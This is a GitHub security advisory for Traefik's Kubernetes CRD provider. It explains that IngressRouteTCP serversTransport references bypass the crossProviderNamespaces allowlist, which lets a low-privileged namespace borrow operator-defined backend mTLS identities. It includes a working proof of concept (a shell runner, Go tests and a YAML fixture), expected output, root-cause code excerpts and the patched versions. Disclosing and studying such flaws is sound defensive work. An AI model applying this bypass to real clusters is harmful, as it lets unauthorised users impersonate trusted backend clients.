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GHSA-42cj-m3vj-89wv
No affected components available
Summary
There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The crossProviderNamespaces allowlist is enforced for HTTP serversTransport references but was not enforced for IngressRouteTCP service serversTransport references. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces could set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the crossProviderNamespaces allowlist to TCP serversTransport references.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.23
- https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>Summary
Traefik's Kubernetes CRD provider enforces crossProviderNamespaces for several
cross-provider references, but IngressRouteTCP service
serversTransport references skip that allowlist. A low-privileged Kubernetes
user in a namespace that is not listed in crossProviderNamespaces can still
set serversTransport: foo@file on an IngressRouteTCP service. Traefik
accepts the forbidden cross-provider reference and later uses the referenced
TCPServersTransport, including privileged backend mTLS client certificates,
SPIFFE identity, or PROXY protocol settings.
Description
crossProviderNamespaces is documented and implemented as an allowlist for
namespaces that may declare cross-provider references from Kubernetes CRD
objects. HTTP serversTransport references enforce that allowlist. TCP
serversTransport references do not.
An attacker with low Kubernetes privileges in namespace default can create an
IngressRouteTCP service with:
serversTransport: foo@file
Even when the provider is configured with:
crossProviderNamespaces:
- operator-only
Traefik still emits a TCP dynamic service whose load balancer points to
foo@file. At runtime, DialerManager.Build() uses the exact referenced
transport name and applies that transport's TLS client certificates and related
backend-connection settings.
Impact
The PoC demonstrates two positive facts:
- A namespace outside
crossProviderNamespacescan cause Traefik to accept and storeLoadBalancer.ServersTransport = "foo@file"from anIngressRouteTCPservice. - A qualified
foo@fileTCPServersTransportwith a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend.
This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference.
Proof Of Concept
Files
run.sh: portable runner.poc_crd_test.go: positive CRD provider proof.with_servers_transport_cross_provider_poc.yml: minimalIngressRouteTCPfixture.poc_tcp_mtls_test.go: positive runtime mTLS identity-use proof.
#!/usr/bin/env sh
set -eu
TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"
if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi
echo "[*] target_ref=$TARGET_REF"
echo "[*] workdir=$WORKDIR"
if [ -n "${TRAEFIK_SRC:-}" ]; then
echo "[*] cloning from local source: $TRAEFIK_SRC"
git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
echo "[*] cloning from remote: $REPO_URL"
git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
fi
mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp
cp "$SCRIPT_DIR/poc_crd_test.go" \
pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go
cp "$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml" \
pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml
cp "$SCRIPT_DIR/poc_tcp_mtls_test.go" \
pkg/tcp/dialer_cross_provider_identity_poc_test.go
echo "[*] running CRD provider policy-bypass PoC"
go test ./pkg/provider/kubernetes/crd \
-run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \
-count=1 -v
echo "[*] running TCPServersTransport mTLS identity-use PoC"
go test ./pkg/tcp \
-run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \
-count=1 -v
echo "POC_RESULT=PASS"
</details>
<details>
<summary>poc_crd_test.go</summary>
package crd
import (
"testing"
"github.com/stretchr/testify/require"
traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake"
kubefake "k8s.io/client-go/kubernetes/fake"
)
func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {
k8sObjects, crdObjects := readResources(t, []string{
"tcp/services.yml",
"tcp/with_servers_transport_cross_provider_poc.yml",
})
kubeClient := kubefake.NewClientset(k8sObjects...)
crdClient := traefikcrdfake.NewClientset(crdObjects...)
client := newClientImpl(kubeClient, crdClient)
stopCh := make(chan struct{})
defer close(stopCh)
eventCh, err := client.WatchAll(nil, stopCh)
require.NoError(t, err)
<-eventCh
provider := Provider{
AllowCrossNamespace: true,
CrossProviderNamespaces: []string{"operator-only"},
}
conf := provider.loadConfigurationFromCRD(t.Context(), client)
service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"]
require.NotNil(t, service)
require.NotNil(t, service.LoadBalancer)
require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport)
require.NotEmpty(t, service.LoadBalancer.Servers)
require.True(t, service.LoadBalancer.Servers[0].TLS)
t.Logf("POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v",
provider.CrossProviderNamespaces,
service.LoadBalancer.ServersTransport,
service.LoadBalancer.Servers[0].TLS)
}
</details>
<details>
<summary>poc_tcp_mtls_test.go</summary>
package tcp
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"io"
"math/big"
"net"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/traefik/traefik/v3/pkg/config/dynamic"
traefiktls "github.com/traefik/traefik/v3/pkg/tls"
"github.com/traefik/traefik/v3/pkg/types"
)
func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {
pki := newPoCPKI(t)
dialerManager := NewDialerManager(nil)
dialerManager.Update(map[string]*dynamic.TCPServersTransport{
"foo@file": {
TLS: &dynamic.TLSClientConfig{
ServerName: "example.com",
RootCAs: []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},
Certificates: traefiktls.Certificates{
traefiktls.Certificate{
CertFile: types.FileOrContent(pki.clientCertPEM),
KeyFile: types.FileOrContent(pki.clientKeyPEM),
},
},
},
},
})
backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)
defer closeBackend()
dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true)
require.NoError(t, err)
conn, err := dialer.Dial("tcp", backendAddr, nil)
require.NoError(t, err)
defer conn.Close()
_, err = conn.Write([]byte("ping"))
require.NoError(t, err)
buf := make([]byte, 4)
_, err = io.ReadFull(conn, buf)
require.NoError(t, err)
require.Equal(t, "PONG", string(buf))
var cn string
select {
case cn = <-peerCN:
case <-time.After(time.Second):
t.Fatal("timed out waiting for backend peer certificate")
}
select {
case err := <-done:
require.NoError(t, err)
case <-time.After(time.Second):
t.Fatal("timed out waiting for backend completion")
}
t.Logf("POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=%q peer_cn=%q response=%q",
"foo@file", cn, string(buf))
}
func newPoCMTLSBackend(t *testing.T, pki poCPKI) (string, <-chan string, <-chan error, func()) {
t.Helper()
serverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM)
require.NoError(t, err)
clientPool := x509.NewCertPool()
require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))
listener, err := net.Listen("tcp", "127.0.0.1:0")
require.NoError(t, err)
tlsListener := tls.NewListener(listener, &tls.Config{
Certificates: []tls.Certificate{serverCert},
ClientAuth: tls.RequireAndVerifyClientCert,
ClientCAs: clientPool,
})
peerCN := make(chan string, 1)
done := make(chan error, 1)
go func() {
conn, err := tlsListener.Accept()
if err != nil {
done <- err
return
}
defer conn.Close()
tlsConn, ok := conn.(*tls.Conn)
if !ok {
done <- fmt.Errorf("unexpected connection type %T", conn)
return
}
if err := tlsConn.Handshake(); err != nil {
done <- err
return
}
state := tlsConn.ConnectionState()
if len(state.PeerCertificates) == 0 {
done <- fmt.Errorf("missing peer certificate")
return
}
peerCN <- state.PeerCertificates[0].Subject.CommonName
buf := make([]byte, 4)
if _, err := io.ReadFull(tlsConn, buf); err != nil {
done <- err
return
}
if string(buf) != "ping" {
done <- fmt.Errorf("unexpected backend payload %q", string(buf))
return
}
_, err = tlsConn.Write([]byte("PONG"))
done <- err
}()
return listener.Addr().String(), peerCN, done, func() {
_ = tlsListener.Close()
}
}
type poCPKI struct {
caCertPEM []byte
serverCertPEM []byte
serverKeyPEM []byte
clientCertPEM []byte
clientKeyPEM []byte
}
func newPoCPKI(t *testing.T) poCPKI {
t.Helper()
caKey, err := rsa.GenerateKey(rand.Reader, 2048)
require.NoError(t, err)
caTemplate := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "poc-ca"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
BasicConstraintsValid: true,
IsCA: true,
}
caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey)
require.NoError(t, err)
serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})
clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})
return poCPKI{
caCertPEM: pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}),
serverCertPEM: serverCertPEM,
serverKeyPEM: serverKeyPEM,
clientCertPEM: clientCertPEM,
clientKeyPEM: clientKeyPEM,
}
}
func newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {
t.Helper()
key, err := rsa.GenerateKey(rand.Reader, 2048)
require.NoError(t, err)
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
require.NoError(t, err)
template := &x509.Certificate{
SerialNumber: serial,
Subject: pkix.Name{CommonName: cn},
DNSNames: []string{"example.com"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
ExtKeyUsage: eku,
}
certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey)
require.NoError(t, err)
keyDER := x509.MarshalPKCS1PrivateKey(key)
return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}),
pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER})
}
</details>
<details>
<summary>with_servers_transport_cross_provider_poc.yml</summary>
apiVersion: traefik.io/v1alpha1
kind: IngressRouteTCP
metadata:
name: test.route
namespace: default
spec:
entryPoints:
- foo
routes:
- match: HostSNI(`foo.com`)
priority: 12
services:
- name: whoamitcp
port: 8000
tls: true
serversTransport: foo@file
</details>
Requirements
git- Go toolchain compatible with the target Traefik tag.
v3.7.5usesgo 1.25.0. - Network access to clone
https://github.com/traefik/traefik.gitand download Go modules on first run.
No local Traefik checkout is required by default.
Run
./run.sh
Optional target override:
TARGET_REF=v3.6.21 ./run.sh
Optional local-source override for faster local validation:
TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh
Expected Result
The run should end with:
POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport="foo@file" backend_tls=true
POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport="foo@file" peer_cn="example.com" response="PONG"
POC_RESULT=PASS
Root Cause
Line numbers below are from:
repository: https://github.com/traefik/traefik
tag: v3.7.5
commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0
1. The provider option is meant to cover IngressRouteTCP
pkg/provider/kubernetes/crd/kubernetes.go:60
CrossProviderNamespaces []string `description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...`
This establishes the security invariant: IngressRouteTCP cross-provider
references should be gated by crossProviderNamespaces.
2. TCP service creation forwards the attacker-controlled transport name
pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185
if service.ServersTransport != "" {
tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)
}
The attacker-controlled serversTransport field is passed into the key builder.
3. TCP key builder returns cross-provider names without the allowlist check
pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322
if strings.Contains(serversTransportName, providerNamespaceSeparator) {
return serversTransportName, nil
}
This accepts foo@file directly. There is no call to
isCrossProviderNamespaceAllowed(...) on this TCP path.
4. HTTP sibling contains the missing authorization gate
pkg/provider/kubernetes/crd/kubernetes_http.go:507-508
if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {
return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...)
}
The HTTP path proves the intended policy: cross-provider serversTransport
references should be rejected when the route namespace is not in the allowlist.
5. Runtime TCP dialer consumes the exact referenced transport
pkg/tcp/dialer.go:135-141
if config.ServersTransport != "" {
name = config.ServersTransport
}
st, ok := d.serversTransports[name]
pkg/tcp/dialer.go:183-188
tlsConfig = &tls.Config{
ServerName: st.TLS.ServerName,
Certificates: st.TLS.Certificates.GetCertificates(),
}
The accepted foo@file reference is not a harmless string. It selects the
cross-provider transport and applies its client TLS identity during backend
connections.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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